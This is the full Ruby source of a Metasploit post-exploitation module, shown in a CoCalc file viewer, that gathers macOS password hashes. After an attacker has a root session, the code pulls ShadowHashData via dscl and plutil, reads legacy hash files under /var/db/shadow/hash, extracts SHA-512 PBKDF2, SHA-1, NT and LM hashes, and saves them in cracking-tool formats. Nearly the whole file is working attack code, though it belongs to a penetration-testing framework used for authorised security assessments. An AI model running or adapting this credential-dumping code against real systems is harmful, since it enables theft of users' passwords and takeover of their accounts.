CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'rexml/document'
7

8
class MetasploitModule < Msf::Post
9
  # set of accounts to ignore while pilfering data
10
  # OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
11

12
  include Msf::Post::File
13
  include Msf::Post::OSX::Priv
14
  include Msf::Post::OSX::System
15
  include Msf::Auxiliary::Report
16

17
  def initialize(info = {})
18
    super(
19
      update_info(
20
        info,
21
        'Name' => 'OS X Gather Mac OS X Password Hash Collector',
22
        'Description' => %q{
23
          This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
24
          versions 10.3 to 10.14.
25
        },
26
        'License' => MSF_LICENSE,
27
        'Author' => [
28
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
29
          'hammackj <jacob.hammack[at]hammackj.com>',
30
          'joev'
31
        ],
32
        'Platform' => [ 'osx' ],
33
        'SessionTypes' => %w[shell meterpreter]
34
      )
35
    )
36
    register_options([
37
      OptRegexp.new('MATCHUSER', [
38
        false,
39
        'Only attempt to grab hashes for users whose name matches this regex'
40
      ])
41
    ])
42
  end
43

44
  # Run Method for when run command is issued
45
  def run
46
    unless is_root?
47
      fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
48
    end
49

50
    # iterate over all users
51
    get_nonsystem_accounts.each do |user_info|
52
      user = user_info['name']
53
      next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)
54

55
      print_status "Attempting to grab shadow for user #{user}..."
56
      if gt_lion? # 10.8+
57
        # pull the shadow from dscl
58
        shadow_bytes = grab_shadow_blob(user)
59
        next if shadow_bytes.blank?
60

61
        # on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
62
        # Here we pull out the binary plist bytes and use built-in plutil to convert to xml
63
        plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join
64

65
        # encode the bytes as \x hex string, print using bash's echo, and pass to plutil
66
        shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")
67

68
        # read the plaintext xml
69
        shadow_xml = REXML::Document.new(shadow_plist)
70

71
        # parse out the different parts of sha512pbkdf2
72
        dict = shadow_xml.elements[1].elements[1].elements[2]
73
        entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
74
        iterations = dict.elements[4].text.gsub(/\s+/, '')
75
        salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
76

77
        # PBKDF2 stored in <iterations, salt, entropy> format
78
        decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
79
        report_hash('SHA-512 PBKDF2', decoded_hash, user)
80
      elsif lion? # 10.7
81
        # pull the shadow from dscl
82
        shadow_bytes = grab_shadow_blob(user)
83
        next if shadow_bytes.blank?
84

85
        # on 10.7 the ShadowHashData is stored in plaintext
86
        hash_decoded = shadow_bytes.downcase
87

88
        # Check if NT HASH is present
89
        if hash_decoded =~ /4f1010/
90
          report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
91
        end
92

93
        # slice out the sha512 hash + salt
94
        # original regex left for historical purposes.  During testing it was discovered that
95
        # 4f110200 was also a valid end.  Instead of looking for the end, since its a hash (known
96
        # length) we can just set the length
97
        # sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
98
        sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
99
        report_hash('SHA-512', sha512, user)
100
      else # 10.6 and below
101
        # On 10.6 and below, SHA-1 is used for encryption
102
        guid = if gte_leopard?
103
                 cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
104
               elsif lte_tiger?
105
                 cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
106
               end
107

108
        # Extract the hashes
109
        sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
110
        nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
111
        lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
112

113
        # Check that we have the hashes and save them
114
        if sha1_hash !~ /0000000000000000000000000/
115
          report_hash('SHA-1', sha1_hash, user)
116
        end
117
        if nt_hash !~ /000000000000000/
118
          report_hash('NT', nt_hash, user)
119
        end
120
        if lm_hash !~ /0000000000000/
121
          report_hash('LM', lm_hash, user)
122
        end
123
      end
124
    end
125
  end
126

127
  private
128

129
  # @return [Bool] system version is at least 10.5
130
  def gte_leopard?
131
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
132
  end
133

134
  # @return [Bool] system version is at least 10.8
135
  def gt_lion?
136
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
137
  end
138

139
  # @return [String] hostname
140
  def host
141
    session.session_host
142
  end
143

144
  # @return [Bool] system version is 10.7
145
  def lion?
146
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
147
  end
148

149
  # @return [Bool] system version is 10.4 or lower
150
  def lte_tiger?
151
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
152
  end
153

154
  # parse the dslocal plist in lion
155
  def read_ds_xml_plist(plist_content)
156
    doc = REXML::Document.new(plist_content)
157
    keys = []
158
    doc.elements.each('plist/dict/key') { |n| keys << n.text }
159

160
    fields = {}
161
    i = 0
162
    doc.elements.each('plist/dict/array') do |element|
163
      data = []
164
      fields[keys[i]] = data
165
      element.each_element('*') do |thing|
166
        data_set = thing.text
167
        if data_set
168
          data << data_set.gsub("\n\t\t", '')
169
        else
170
          data << data_set
171
        end
172
      end
173
      i += 1
174
    end
175
    return fields
176
  end
177

178
  # reports the hash info to metasploit backend
179
  def report_hash(type, hash, user)
180
    return unless hash.present?
181

182
    print_good("#{type}:#{user}:#{hash}")
183
    case type
184
    when 'NT'
185
      private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
186
      private_type = :ntlm_hash
187
      jtr_format = 'ntlm'
188
    when 'LM'
189
      private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
190
      private_type = :ntlm_hash
191
      jtr_format = 'lm'
192
    when 'SHA-512 PBKDF2'
193
      private_data = hash
194
      private_type = :nonreplayable_hash
195
      jtr_format = 'PBKDF2-HMAC-SHA512'
196
    when 'SHA-512'
197
      private_data = hash
198
      private_type = :nonreplayable_hash
199
      jtr_format = 'xsha512'
200
    when 'SHA-1'
201
      private_data = hash
202
      private_type = :nonreplayable_hash
203
      jtr_format = 'xsha'
204
    end
205
    create_credential(
206
      jtr_format: jtr_format,
207
      workspace_id: myworkspace_id,
208
      origin_type: :session,
209
      session_id: session_db_id,
210
      post_reference_name: refname,
211
      username: user,
212
      private_data: private_data,
213
      private_type: private_type
214
    )
215
    print_status('Credential saved in database.')
216
  end
217

218
  # @return [String] containing blob for ShadowHashData in user's plist
219
  # @return [nil] if shadow is invalid
220
  def grab_shadow_blob(user)
221
    shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
222
    return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
223

224
    # strip the other bytes
225
    shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
226
  end
227

228
  # @return [String] version string (e.g. 10.8.5)
229
  def ver_num
230
    @product_version ||= get_sysinfo['ProductVersion']
231
  end
232
end
233

234